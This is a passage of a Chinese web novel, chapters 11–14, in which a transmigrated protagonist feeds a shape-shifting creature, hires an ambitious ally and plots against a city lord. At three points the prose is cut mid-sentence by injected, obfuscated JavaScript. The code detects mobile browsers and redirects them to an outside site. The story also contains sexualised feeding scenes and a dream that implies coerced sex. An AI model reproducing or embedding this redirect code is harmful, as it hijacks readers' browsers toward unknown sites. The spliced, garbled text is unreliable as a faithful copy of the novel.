“我能让你离开这里。”宁繁又说,“我需要你。能告诉我,你是如何隐藏身份的吗?” 好香、好香……好饿…… 十七号骤然从锁链中滑了出去,宛如没有骨头那般,锁链叮叮当当落在地上:“我只是一张皮,可以复制他人的外貌,甚至异能的一部分。” 他握住宁繁的手指,将那肮脏的锁链剥去:“你呢?” “你就当我可以夺舍吧。”宁繁眼神闪烁,“我夺取了这副属于人类的,有S级异能的身体。” 他感到惊喜。 本来只是以为对方有复制异能的能力,没想到还可以复制外貌。这样的话,很多事情都变得简单起来了。 “我为什么要离开这里?”十七号又说,“这里有很多食物,我需要进食异能。” “这话说的,难道我会饿到你吗?”宁繁居高临下地看着他,“我们可是同族。” 他用膝盖顶了一下十七号的肚子,翠绿的眼眸里盛着一点说不上来的兴味:“饿吗?” 宁繁翻身站起,重新坐回到沙发上。他弯下腰,一只手撑着下巴,一只手伸出,将干净的手掌在对方面前晃了晃。 “想吃?” 十七号不受控制地前倾了身体,却只是被一脚踹在肩膀上,强迫他退回去,半跪在地上。面前的少年脸上挂着笑意,看他的眼神,分明是洞悉一切了,知道他多么渴望强大的异能。又充满恶趣味,仿佛觉得他被食欲支配很好玩。 硬质的靴底贴着他的肩。从这个角度,能看见宁繁绷直后线条流畅的小腿,大腿被腿环束缚着,匕首贴着腿.根。 想吃。 他从未如此地想要吃掉谁。 “喏。”宁繁逗小狗似的,将手指晃过去,看着十七号痴迷地追随他的手。 不知道是不是因为没吃过S级异能,这家伙完全经不起诱惑,他甚至都有点嫉妒了。最近食欲减弱的他都没法对吃的起兴趣。 “那就,跟我回家吧。” 手指又离远了。 十七号再也控制不住,隔着布料,一口咬上宁繁的脚踝。 宁繁:“……” 不是,他手在这里晃那么久,怎么咬到他脚踝上去了。 他穿得严严实实,小腿被靴子包裹,怎么看都不是很好下口的样子,都要给他气笑了。 “别碰我的靴子。”他轻轻地踢了一脚,脚尖勾着十七号的下巴,弯下腰,掰开十七号的嘴,手指撑开口腔。 少年的神情有如神佛,微微怜悯:“乖,咬这儿。” 11. 二周目(小修 十七号的思维大概是彻底停止运转了。他甚至身体都没动,抬起头,直直地注视着宁繁,张口将面前的指尖咬住。 食欲终于被满足。 他贪婪地吮吸着,舌尖卷上手指,舔舐指缝,啃咬着白皙的手腕,牙齿轻轻地用力,便有血丝沁出来。 比想象的还要美味。 宁繁蹙着眉。他的触觉debuff已经消失了,这点疼痛不算什么。但随着血液丝丝缕缕地流失,他竟有一种异能也在消失的感觉。就像是灵魂中被抽取了一部分,身体开始感到空缺,心跳加速。他甚至下意识地想要抱住什么。 地板上零散地堆着锁链,手腕被吮吸着,十七号粗重的呼吸在包厢里回荡。 宁繁的眼神放空了。 就像、又回到上个周目一样。 被人抓住,身体不受控制,沦陷在一次又一次的漩涡里。 他本想把这些全都忘记掉的,毕竟已经来到全新的世界了。宁繁下意识蜷缩起来,窝在沙发里,只有手腕被人捉着。十七号似乎是吃得忘我了,起身覆了上来,就像是要把人圈住一样。 “……” 就在宁繁眼中的冷意达到巅峰时,十七号停下了。 他舔着自己的唇:“同族,你不太高兴?” 宁繁:“没有。” 系统:【……】 天塌下来还有宁繁的嘴顶着。 “你可以继续吃。”宁繁垂着眼,“吃饱了回家去。” 十七号却露出一个笑容:“我吃饱了。” 骗人的,他分明饿得要死,强行将自己的食欲掐断了。可他看着宁繁眼中翻涌的厌倦,又想到这人的主动投喂,他从没有遇到过这样的人。十七号忽然觉得,如果宁繁高兴一点,吃起来应该会更美味。 是不是同族,又是否要把他带到另一个地狱。 都无所谓了。 他说,要带自己走。 “说起来。”十七号又开始迷茫,“家是什么?在哪?” 宁繁被这个没半点常识的异种逗笑了,他重新舒展身体,像猫一样伸了一个很长的懒腰:“我也不知道,但是和我走就对了。” 他反应过来了。 这里又不是上周目,不是他跪在别人面前吮吸,而是面前这只异种正在讨饭。甚至是他主动喂点饭过去,主动权在他。 十七号眼中依然闪烁着纯粹的干饭眼神,让人非常安心,看得他都饿了。 这时候回去,宁周一定又给他做了晚饭。 他站起身,体力上没什么感觉,就是无端觉得有些虚弱。想来异能被吃掉两口还是有点影响的,只是影响不大,就像是蓝条消失,而非蓝条的上限消失。一边思考,他一边瞥了眼系统提供的数值面板。 【debuff:食欲减弱(持续时间一个月,目前剩余:1天2小时12分钟)】 变少了! 来到这个世界才只有十六天,debuff明明应该还有五天的,现在却只有一天了。 被吃掉异能的同时,他的debuff也被吃掉了。 宁繁的眼中顿时闪闪发光。 “十七号,”他觉得自己捡了个宝,哄着他,“再吃一口?” 十七号:“……”这人的情绪变化真是瞬息万变。 可谁会拒绝饭? 他重新咬上去,小心翼翼地,第一次对食物生出了怜惜之情。又听见宁繁说:“在人类的世界,我叫宁繁,你如果跟着我走,也应该有个正常点的名字……” “我能看看你的能力吗?” 当然没问题。 十七号的脸慢慢变化起来,从一张平平无奇的脸变成了宁繁的模样。宝石般的绿眸里翻涌着鲜明的欲.念,薄唇张开,轻轻地含着手指,好似能蛊惑人的海妖。仿佛没有任何攻击性,又仿佛,能温柔地缠死每一个过路人。 “这样,可以吗?”十七号含混不清地问了一声。 宁繁睁大了眼睛。 …… 商清昀杀死了对面的异种。 他没有异能,想要战胜一个异种其实很难。赌场会给他提供武器,但只有冷兵器,打起来的视觉效果非常好,实际战斗能力嘛……难说。 所以几乎游走在生死边缘。 他听说,有些人的异能,就是在大危机的时候才觉醒的。 可是无论多少次,他都没有任何要觉醒的征兆。 拿了这次比赛胜利的奖金,又拿到那张卡。有人告诉商清昀,让他去某个包厢。 他淡淡应了一声。 方便战斗,他只穿了件黑色背心,虽说没有强化型异能者的大块头,却也有一身近乎完美的肌肉。平常裹在衣服里,脱了才会显露出来。不可避免地受了些伤,颧骨上也有一道血痕。 因为才赢了一场,大家都看见了他用刀将异种拆碎的样子,都对这个疯子有些惧怕。看见他从走廊里走过去,不自觉地避让开。 商清昀带着一身血气和煞气,走到宁繁的包厢门口。 他停下来。 那天晚会结束,他带着血见到宁繁的时候,注意到了对方的视线。宁繁似乎是喜欢干净的。 怎么说也是刚塞给他一张卡的金主,而且未来很有可能会塞给他一个不死buff。商清昀深呼吸了一下,将盘旋在心头的戾气压回去。他已然在战斗中发泄了一番,现在能够用平常的心态去看待宁繁了。 敲门。 无人应答。 “我可以进来吗?” 无人回答。 似乎没人。商清昀心想宁繁可能出去闲逛了,他一看就是一个充满好奇心的家伙。既然如此,进入包厢等他回来更好。 他站在门口太惹眼,被人围观、然后发现身份,那就糟糕了,会影响之后的晋升。 商清昀推开门。 出乎他的意料,里面是有人的,而且有两个。 他们几乎叠在一起。宁繁靠在沙发上,搂着身上的人,另一人将他圈住,凑在宁繁的脖颈处,舔咬着什么。冷淡又反复无常的小少爷,此刻正如同他梦境那样,脸颊泛红,手指用力地抓住他人的后背。 如此沉浸。 都没听见他敲门,门被打开了,才反应过来。 宁繁倏地把身上抱着啃他的家伙推开了,又反应过来绝对不能让人看到他的脸,忙用手捂住,按在了茶几下面。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138152|180344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 商清昀:“……” 宁繁也轻咳了一声。 鬼知道发生了什么,他好像被自己的脸魅惑住了,居然答应了啃脖子。不过,看着debuff被吃光,面板干干净净,他爽了。 “抱歉。”商清昀垂下眸,“我应该离开吗?” “不用。”宁繁倒是不怎么在意,“只是没想到你居然在这里打黑工,挺有意思的。我这两天会住在清心别苑那边,记得来找我,给你发一下工资。” 现在找到了debuff垃圾桶,他自然是很舍得给出不死buff了。 代价也还好,这样把debuff吸光,异能的蓝条只是空上一天,明天就好了。 终于得到了最重要的buff,商清昀却没有了喜悦。 他的视线落到茶几下,地面上还有锁链和镣铐。他很熟悉,这是赌场里面最低等的废材才会装上的,只等消耗掉最后的娱乐价值,就会被销毁。 可现在镣铐被打开,本应该死掉的废物,被宁繁留在包厢。 伏在他的身上。 现在也趴在宁繁的腿边。 嫌弃他脏,却不嫌弃这个同样是笼子里出来的废物脏。 本该彻底消解掉的想法猛地翻涌出来,他摘下面具,脸上的小伤口泛着灼热的刺痛感,那是他的对手,一个能操控风的异种留下的痕迹。身上有更多这样的小伤口,疼痛欢快地跳跃着,嘲笑他可悲的努力,可笑的失败。 他想都不敢多想的人,居然和一个废物…… “看我干什么?”宁繁漫不经心地吱了一声,“这个是我买的奴隶,你羡慕他啊?” “唔……” 宁繁忽然发出软软的一声。 听见他叫自己奴隶,十七号有点不高兴,舔了舔宁繁的掌心。他现在还用着宁繁的脸,从茶几下抬头,把宁繁自己都看得差点不能呼吸:“饿。”他的眼神在说。 宁繁心想自己也饿啊,他才发现这些天自己吃得那么少,快要饿死了。 真的很急着回家吃饭,他超级喜欢宁周厨艺的! “商清昀,”他问了一下正在沉默的人,“你是怎么过来的?” …… 宁繁又坐上了商清昀的车。 只不过,这次还多了一个十七号。他花的钱真的太多了,而且看起来是真的买了人家的初夜,至少所有人都能看见他颈侧的咬痕。反正买的是个不挣钱的小废物,赌场睁一只眼闭一只眼,放人走了。 商清昀沉默地开车,看向后视镜。 宁繁把自己的面具给了十七号,还给他穿了自己的外套。正在用极其亲昵的态度牵着手,说一些小话。好像有点疲倦,没多久就闭上了眼睛小憩,侧过头的时候,颈上那片红是如此刺目。 宁繁的偏爱总是如此明显。 哪怕是在他的梦境里,在那些胆大妄为的各种动作里,他也不曾感受过如此强烈的偏爱。 商清昀猛地一踩刹车。 宁繁顺着惯性往前一撞,还好十七号替他垫了一下,要不然得磕在前座上了。他没忍住,砸了一下商清昀的后背:“你有病吗?” 商清昀硬邦邦地回了一句:“到了。” 12. 二周目 宁繁盯着商清昀,商清昀却不为所动:“抱歉,受伤了,肌肉控制不是很好。” 态度好差。 但是宁繁又莫名其妙安心起来。 他知道商清昀这人是可以做到体贴入微、事无巨细的,绝对不会让人难受,现在这个态度,正是证明了他已经完全变成了直男,一点其他想法都不会有。 保持住。 他下了车,十七号却问:“这是家吗?” “不算吧。算临时住宅。”宁繁看着自己完全没来过的地方,也是有些恍惚。 他不顾其他人的视线,先将十七号带进了卧室。 得把这人过一下明面。 “你改一下自己的脸。”宁繁命令道,“不要和我一模一样,七八分像就可以了,对外就说我们是兄弟。” 这对十七号来说很简单。 “你也需要一个名字。” 想了想,宁繁决定按他自己这个身份的母亲姓名,给对方取名字。 不知道坟堆里的父母能否接受自己多个人外孩子。 “姓画,可以吗?”他问,“名字你自己想一个?” “画皮。” “不……”宁繁看对方口型,立刻打断,“画心也不行!不要拿歌名取!” “灯芯的芯?” “……好像还可以。” 解决了一件大事,宁繁又交代了一些伪人在人类世界存活的关键要点,这才放心地去餐厅。 他卧室在三楼,餐厅在一楼。 一下楼,就看见宁周和商清昀维持着奇妙的姿势绞在一起。 ……直男的摔跤小游戏? 宁繁疑惑了一下。 “少爷。”两人分开了,宁周的的眼里全是凝重。 他刚从商清昀嘴里得知,自家少爷是从赌场回来的。 在来中心城之前,宁繁从来不会碰这些东西,也不会张口一个纵欲。来了中心城之后却变成这样。罪魁祸首是谁,不必多说。 而商清昀,虽然也出身自边缘城市,却已经完全是中心城的走狗! 宁繁回来的时候,虽然只是匆匆一瞥,宁周却看见他脖子上清楚的咬痕。他太明白少爷的体质,只需要一点力气就能留下痕迹。 再一看商清昀,这狗东西身上又有血腥味儿、又有伤。 他做了那种脏污的事!少爷居然只是挠了他一顿,还叫他把自己送回来! 宁周怒不可遏,看在是客人的份上,才没有动手。 “我把车停在楼下了。” 商清昀没怎么在意宁繁侍卫的眼神。他对宁繁是一个态度,对其他人又是另一个态度了,上下扫了几眼,就没拿正眼瞧人,一副清高衿贵的模样。 正要往沙发边走,忽得想起什么,阴阳怪气地勾起一个笑:“你家少爷在赌场买了个男妓的初夜。” 这人还有脸说! 宁周终于是一拳打了个过去。 商清昀莫名其妙挨了一拳,自然也没什么好态度,他本来就火气大得很,于是也是一拳打回去。 宁周没用异能的增幅,只是单纯的用着身体力量,仿佛是一心为了给这个黄赌都来的混蛋黑毛一点教训。 他们一个下手果决,招式熟练,一个虽然没正统训练过,出手却全是杀招的阴狠。 “切磋停一下。”宁繁在楼梯上敲栏杆,“晚饭!晚饭!吃完晚饭再切磋好吗?” “少爷……” 宁繁把助听器摘下来,自顾自地奔向餐桌。反正十七号……画芯被他留在卧室里,异种不怎么需要吃人类的食物。 “你们打。”他又说,“我看着你们玩,打得好丢赏金,可以吗?” 两人这才分开。 …… 宁繁终于在没有任何debuff的情况下吃了顿饭,感动得眼泪都要下来了。 宁周看在眼里,只觉得少爷离开中心城之后心情都好了无数倍,食欲终于回来了。 吃完,宁繁发表重要宣言:“我找到了……异父同母的兄弟。” “……” “……啊?”宁周瞪大了眼睛,“什么?” “我父亲没离婚前在外面弄了八个私生子女,搞得我一大堆不熟的哥哥弟弟姐姐妹妹。”宁繁也睁大了眼,“我母亲也给我留了,很奇怪吗?” 宁周:“……”不奇怪。 宁繁的父母离婚很早,各自有各自的生活。 “他同我母亲姓,还无法接受事实,有些怕人。流落到黑赌场,吃了太多的苦,连基本的社交都不太会。”宁繁垂眸,微微皱眉,一副忧愁的表情,“你对他好些。” 商清昀:“在赌场里面,你们……” “我是为了找到他才去的赌场。” 他似乎错怪他了。 商清昀心想。 宁繁看起来是一个很重感情的人。面对同样出身低微的他,都愿意大方给钱,塞张金卡。得知有血缘关系的兄弟流落至那种地方,也不顾危险,直奔而去。 他看出来宁繁自己也才到这座城,第一时间就去了赌场。 宁繁比他想象的要看重身边人。 “过两天就回中心城了,”宁繁又说,“商清昀,你有地方住吗?” 宁繁决定睡一觉,搞两张合同出来,约束商清昀和新来的异种。现在的合同都很有效力,有异能者的加持,违背合同天打雷劈。 他又对宁周说:“今天晚上不用和我睡了,他有点怕生。” 饭后,宁繁把画芯拉出走了一圈,像是展示稀有货品似的,按着他的肩膀,在客厅里旋了一圈。画芯果然如同宁安说的那样,不擅长社交,羞涩,腼腆。 宁周开始有些相信了,不论如何,画芯和宁繁的脸真的挺像。这屋子里面没有其他人的仆人,他便主动站出来,替画芯去找一些合适的衣服。 还得给那个该死的不愿意走的客人收拾房间。 宁周仍然觉得商清昀不是个好人。 商清昀也觉得有些古怪,他知道画芯是从哪儿出来的人,能在那个赌场活上几轮的,不擅长社交还说得过去,但腼腆、羞涩……未免装得有些太过头。 只是看着宁繁的眼神,他并没有提出异议。 …… 夜露浓重。 宁繁没睡着,推开门来到阳台,看着天空中模糊的一轮残月,忽然觉得它很像是没吃完的饼干——自从食欲回来之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138153|180344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他看什么都像是吃的。 身后传来窸窸窣窣的声音。 画芯顶着一张和他有七八分相似的脸,钻出来:“我可以吃夜宵吗?” “不可以。”宁繁果断拒绝,“你今天吃太多了。” “好吧。”画芯也没缩回去,而是站在宁繁面前,看着这个沐浴在月色下的少年,“我没有遇到过主动投喂我的人,你是第一个。” “从社会关系上来说,”宁繁懒洋洋地回答,“我们可以是兄弟了。” “兄弟会互相投喂吗?”画芯似乎有些疑惑,“其实我以为,你会和别人介绍,你是我的母亲。” 宁繁一口喷了:“噗——” “只有母亲会这样……妈妈?” “我是公的!”宁繁发出了不可名状的被嬷尖叫,想起上周目的一些异种,“不是雌性,不可以配种,而且 我才十九岁,谢谢。” 画芯似乎还在思考。 最终他慢慢说:“我不吃夜宵,可以单纯闻一闻吗?” “行吧。”宁繁已经麻木了,“你要是想培养父子之情,我也可以接受。” 就算不懂,画芯也摇了摇头:“还是兄弟吧。” 宁繁拍拍他的后背。 画芯是个异种,提起亲密关系第一时间想到母亲,其他时间又只想着吃,想来心智不会超过十岁。脑子里一点涩涩的东西都没有,他放心了。 他没推开靠近的画芯,静静接受了这份拥抱。 …… 商清昀也没睡。 他睡眠同样很少,住在一楼的客房,长久地思考着。 他知道,一旦入睡,他梦里既有可能还是宁繁,还是那些事。可当他真的靠近宁繁,住在有他气味的房子里,那些梦里极具诱惑力的声与色却又淡了。 梦只是梦,不及现实的万分之一。 楼上似乎有些声音,他推开门,也走到一楼阳台。 宁繁在三楼,背靠着阳台的栏杆,没发现他。那个身份不明的画芯,也站在三楼,正和宁繁说着什么。 他们晚上睡一间屋。 商清昀没有偷听的习惯,只是正好听见了“母亲”“父子”之类的词汇。他们似乎在聊家庭。 这就是家事了。 商清昀没打算继续听,正要回屋,却看见上面的人往前近了一步,拥住宁繁。 少年的后腰抵在栏杆上,依稀可见伏在布料内的蝴蝶骨。属于他人的手先是抚上了他的腰椎,而后沿着脊骨,慢慢往上爬了几步,用力按住。 画芯将下巴尖抵在宁繁肩膀上,往下看去。 商清昀知道他看见了自己,也看见画芯眼里没有任何意外神色。他早就发现自己站在楼下了。 那腼腆、温顺的表情被月色涤去,转而出现的是毫不掩饰的贪婪。 离得那么近,呼吸触碰到敏感的耳垂,宁繁像是有点忍受不了,偏头瑟缩了一下,却还是没有推开他人的怀抱。他太心软了。商清昀想到梦境里的一切。宁繁总是这样心软,然后被骗。 他会读唇语,因此他借着月色,清楚地看见。 那个来自赌场的肮脏小骗子在说—— “哥哥,你好香。” 13. 二周目 第二天一早,宁繁去买了两张合同专用纸。 这些东西都是一个因果律的异能者所制造的,特点是只要在上面写下约定,就能有极强的约束力。如果违反,运势便会疯狂下降,一周之内必定倒大霉,小到被车撞,大到被天灾追上门。 宁繁听说这位异能者靠卖合同纸,已经成为第六城首富了。 天天诅咒这位异能者被天打雷劈的人也很多,毕竟东西卖得贵,合同一签还绝对不能违反。 宁繁买的时候也觉得肉疼。 系统:【宿主您最近有些花钱如流水了,将来游戏会考虑将这个做入成就的。】 一天花掉几十万什么的。 对此,宁繁也只能狡辩:“对我来说,只是游戏币!” 自己编合同条款需要太长时间,宁繁从网上下载了一份合同模板,删删改改,打印出来,准备给商清昀签。 其中,除了雇佣关系,还增加了一条。 未来数年内,商清昀赚的钱,需要交给他一部分,直到达成投资的数倍。 可以说很黑心了。 剩下的那张合同,他准备给画芯签,但内容还没想好。 “合同内容可以接受吗?”宁繁注意到商清昀在赚钱抽成那一栏,看了很久很久。 他记得商清昀超爱钱的。上周目,养在家里的发财树死了,商清昀甚至选择用异能修改世界线,将发财树救回来——虽然好像浇死发财树的是他自己。 宁繁每天在家无聊就浇树,视心情程度浇不同的水温。 “可以。”商清昀最终还是答应下来。 宁繁感受了一下自己的蓝条储备,应该是够用一次异能的,他随手一挥。 “这样就……可以了吗?” “当然。”宁繁瞥了他一眼,“忘记了,你没有异能,对这种能量感知比较弱。” 商清昀:“……” 与此同时,宁繁也受到了系统的提醒。 【debuff:视力障碍·高度近视(持续时间为十天)】 这行字迅速地模糊起来,变成一团蓝白色的光。宁繁睁大了眼睛,明知道商清昀就站在面前不远处,却只能勉强认出来一个人形,要是趴下去,估计就人畜不分了。 “……”现在可以说是又聋又瞎了。 本该灵动的绿色眸子一下子变得呆滞起来,任谁都能发现这个变化。商清昀的声音响起:“怎么了?” 宁繁把自己的异能会造成一些不适的情况简单说了说。 大部分人都只知道他异能带来的不死buff,却不知道这背后的代价。年轻的商清昀自然也是如此。他沉默了一会儿,忽得问出了另一个问题:“我可以问问不死buff的具体生效模式吗?” 宁繁顿了顿:“扶我去外面。” 别墅外面有一圈走廊,没人搭理,植物凋零。宁繁本想像个皇帝一样抬头挺胸地走过去,结果走了两步,不知怎的就平地摔了。 还好他有先见之明,立刻用力抓住商清昀的袖子,这才只是往前扑了一下,没有脸着地。 商清昀也算眼疾手快,一把捞住了他。 平地摔,这很丢脸。 幸好宁繁觉得自己的下限很低,就像是上周目的衣服一样,几乎没有了,而且他本来就是个残疾人,生活自理能力差一点正常。提前预判到这种事,所以要拉着别人一起出门,显得他很英明神武嘛…… 好吧,还是有点丢脸。 石凳上落了点东西,宁繁蹲下去,凑得很近才看清楚是枯叶,他拂去叶片,坐下:“很少有人会问我不死buff的问题。” 商清昀这人果然很聪明,也很讨厌,当面问了,就不能之后坑他一下了。宁繁的怨气冒了个泡,又消散下去。他和商清昀签了合同,自然也会完成甲方的职责。 “不死,并不是说你能屏蔽死亡的痛苦,死亡那一瞬间所有的感受都是真实的。如果你不够坚定,或者真心实意认为自己已经死了——”宁繁笑了笑,“就算异能将你救活,也有可能醒不过来,变成植物人。” 他点了点自己的太阳穴:“意识失去活性。” “至于具体的生效机制,在你受到致命伤后、身体维持不住意识的瞬间,我的异能才会生效,在五分钟内,它会彻底修复你的身体,就像是回溯了时间,连带着那些小伤也会消失。” 商清昀咬着那个关键的词:“五分钟?若是在这五分钟里又受了致命伤,会怎样?” “不会死,异能会持续生效。” 宁繁抬眼:“别想太多,异能生效的时机是你的意识消失。你知道这意味着什么吗?” “人从高楼跳下、心脏中枪、头颅被砍下,都不会瞬间死亡。你会清楚地感受到死亡的一切痛苦,感受到绝望。而后才会复活。”他又垂下眼,“意识的创伤无法修复,根据合同,我可以为你提供无限的不死buff……” 他能看见商清昀坐在身边,但是特别模糊,完全无法判断距离。 或许原本还可以听声辨位,但他听力也一团糟,戴上助听器能听见说话就不错了,遑论辨别距离。 宁繁伸出手,第一下没碰到,第二下才按到对方头顶,敲了敲。 “你能做到死无限次吗?” 沉默。 许久,商清昀才说:“你对我下了很大的投资。” 宁繁点点头:“对啊。” “为什么?” “因为我身边没人能管理一座城,或者说没有这个才能。”宁繁面不改色地说着,“我看过你的履历,不是酒囊饭袋,很有野心,反正也没什么异能,上前线很浪费。” 商清昀:“……”好像又被宁繁随手嘲讽了。 “要是我把霍南行拉下来,没人管理第三城,会乱套的。” 好一会儿,商清昀才说:“那是我目前的领导。” “钱加的不够多吗?” “很多。”商清昀认真地说着,“您想当摄政王都行。” 宁繁能感觉到他突然爆发出了难以想象的动力,那种精神满满的卷王感,一会儿问他有没有计划,一会儿又指出计划里面不全面的地方。 宁繁也不由得松了口气。 还好,这个商清昀眼光还比较低,没有想着统治全人类。 有一个聪明人帮自己规划是很好的事,宁繁骤然松了口气,慢慢将自己了解到的情报一一说出。至于为什么他特别了解霍南行的性格、衣食住行,统统说成是特殊的情报来源。 他没有注意到,商清昀的眼神渐渐暗了下来。 凌霄花的枯枝和野生的络石纠缠在一起,阳光穿过,落下细碎的影。宁繁的眼睛像宝石一样折射了一湾翠色的光,因为看不清东西,微微眯了起来,眼尾像是藏了钩子似的翘起来。唇瓣一开一合,声音清越。 连讲叛乱的事情,都讲得很好听。 说得多了,他便有些口干,舌尖下意识舔了舔,给下唇润上一片浅淡的水色,又迅速收回去。 很灵活的舌头,几乎能让人想象到舌尖卷在手指上的触感。 商清昀知道,自己是看霍家很不爽的,他并不避讳这方面的欲望,他知道自己觊觎权力、地位、金钱……一切的一切。 可宁繁提出这件事的时候,他大脑中第一时间浮现的,竟然是梦境里的内容。 霍南行握着宁繁的手腕,拽着他坐到私宅的花园里去。他很确信宁繁是不高兴的,似乎才哭过,眼睛很红,脸颊上泛着不健康的红晕,像是一团被揉开的棉花糖。 不知道霍南行说了什么,宁繁最终还是自愿从石凳上滑下来,他只穿了一条到大腿的短裤,两条腿比现在见着的还要瘦。膝盖透着一点血色,压在铺满松针的草地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138154|180344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 梦里的阳光也是影影绰绰,甚至比现实还要朦胧。 商清昀已经分不清梦境的真假了。 你说怎么就这么巧,回回都被他撞见?总不能是他突然觉醒了什么奇怪的癖好,看见这种场面会兴奋吧? 宁繁跪在草地上,腰软下去,显得很小只,仰起脸也就正好将脸颊放在男人大腿上。松针很扎人,他脸上有那么一点不适的痛楚神色,但很快就被灌木挡住了。 商清昀没能看见后续。 只是从霍南行的口型上读出来一句:“这次要咽下去。” 商清昀慢条斯理地整了一下袖口,纾解那股散不开的烦躁。宁繁还在兴致很高地说着情报,只是眼神似乎已经偏离了,没聚焦到他脸上。 若是伸手将他的脸掰过来,想必就能让那双漂亮的眼睛,只盛下自己。 “总之就是这样。”宁繁试图看清楚商清昀的脸色,失败了。但是商清昀也没问什么不应该的,比如他为什么要冒险、把霍南行从城主位上踢下来,甚至直接杀了他。 他一想到商清昀现在成自己下属了,就有种奇怪的报复感,非常趾高气昂地哼了声:“你这周交三份计划书出来。” “怎么不说话?” 宁繁看着面前模糊的色块,心想难道是商清昀刚才离开了?面前这坨东西是什么木头树枝的组合之类的。 他伸腿轻轻踢了一下,踢到了人类的触感。 “抱歉。”商清昀立刻说。 明明是他自己被踹了一脚,却完全没有愤怒。见宁繁因为他走神而感到不悦,商清昀软下声线:“方才我在想,您要坐在又冷又硬的石凳上,我却没有替您打扫,也没有垫上什么,实在是太不周到了。” 他将外套脱下。 “现在垫一下还来得及吗?” 宁繁:“……?” 他莫名其妙,虽然他怕疼,却他没那么娇气,坐两下冷板凳又没事。他很懂自己人体的,百分百纯正人类男性,不会像上周目有些人一样,摸着小腹喊着子宫就开始违背常识了。 心里嘀咕,可身体还是很愿意享受的。 反正也不是什么大事。商清昀凑过来,宁繁摸索了一下,攀住他的肩膀站起来。 他怕自己又摔,起身后肚子压着石桌的边缘,也不愿意往边上挪两步,只是身体稍微前倾了一些,甚至踮起了脚。 商清昀将自己的外套放在石凳上,瞥见宁繁几乎把自己的重心压在石桌上,只有脚尖着地,腿紧紧绷起来,并得很拢。现在的宁繁没有梦里那么瘦,大腿上明显有点肉,只是几乎全被布料遮住了,只有脚踝上那一片雪色,让人填补了想象的空缺。 这样才对。 商清昀忽然想。 不应该是草地或尖锐的松针,而应该是柔软的毛毯和垫子,被抱起来,脚不沾地。 宁繁很明显不喜欢疼痛,而他自然也可以做到。 手掌压在了石桌上,商清昀忽得伸出手,将他的两条胳膊抬了起来。 重心被改变,本来就感知模糊的宁繁一下子失去平衡,重重地往下坐。被抱着提了一下,才没有啪地坐到凳子上,只把他吓得用力抱紧了对方。 宁繁猛地松手:“你搞什么?” “石桌上有灰。”商清昀的声音仍然平静,“我给您擦一下。” 他变戏法似的拿出一张纸巾,给宁繁擦手。 “您现在是我的上司了,应该注意身体,爱护自己。” 宁繁沉默了一会儿,他竟不知道商清昀给人当下属居然能如此的溜须拍马,一时间整得他都不知道说什么好了。 垫着的外套似乎还有残留的体温,坐着确实正好。 “看不出来。”宁繁思考两秒,拍了拍对方的肩膀,“你很想进步啊,很好,保持住。” 商清昀沉沉应了声:“是。” 14. 二周目 宁繁本想让宁周去帮自己弄一副眼镜,结果被告知他现在的度数太高,镜面需要专门订制。 想了想,也就是十天的debuff,还有画芯帮忙分担。 忍一忍就过去了。 他给画芯安排了合同,本想要狠狠地将自己的debuff投喂出去,谁知道居然被拒绝了。 画芯:“我能感觉到……吃饱了。” 他也很迷茫,从出生到现在从未被填饱的食欲,吃了两口宁繁,居然被撑到了。 “只是饱腹,没有别的不适反应?”宁繁仔细询问了一番。 最终得出结论,画芯现在的异能等级太低,虽然已经能掠夺他人异能能量,却没有办法承受太多的能量。就像是蓝条上限不够,需要一段时间消化和增长。暂时没有办法把他当成万能的debuff垃圾桶。 但也很好了。 总比没有任何手段强。 宁繁安慰了他一下:“明天就和我一起去中心城,给你办一个人类的身份。以后努力吃到S级异能,会好起来的。” 画芯闷闷地应了一声。 他已经躺在床上了,往边上挪了一些:“你睡这边,我把床暖好了。” 宁繁:“……?” 涉及到这种事,他直觉一下子敏锐起来:“暖床?谁教你的词?为什么要给我暖床?” 他看不清画芯的表情,考虑到他是异种,是人外,也没有握着手测试心跳。只是警惕心拉满了。 宁繁可是看在他完全没有那种心思,睡觉又很安分,才大方地让人进了房间,睡在一张床上——他没法一个人入睡的毛病还是没好。要是画芯学坏了,他直接把人丢出去。 “因为哥哥你的手总是很冷。”画芯用一种担忧的语气说,“我知道你养我是为了我的异能,可我现在没有办法帮上忙,只好在其他的地方努力一些。” “噢……”宁繁想了想,决定维持人设,“因为我夺舍了这具身体,不是很匹配,所以容易手脚冰凉。” “你身上的病也是如此吗?” “这倒不是。” 宁繁换了睡衣,一步一挪地走到床边,摸索着钻进被窝。果然如画芯说的,已经暖好了。 好贴心。 他还记得上周目有个混蛋,觉得他手脚冷,便提议每次睡前做两回,一身热汗就不会冷了。 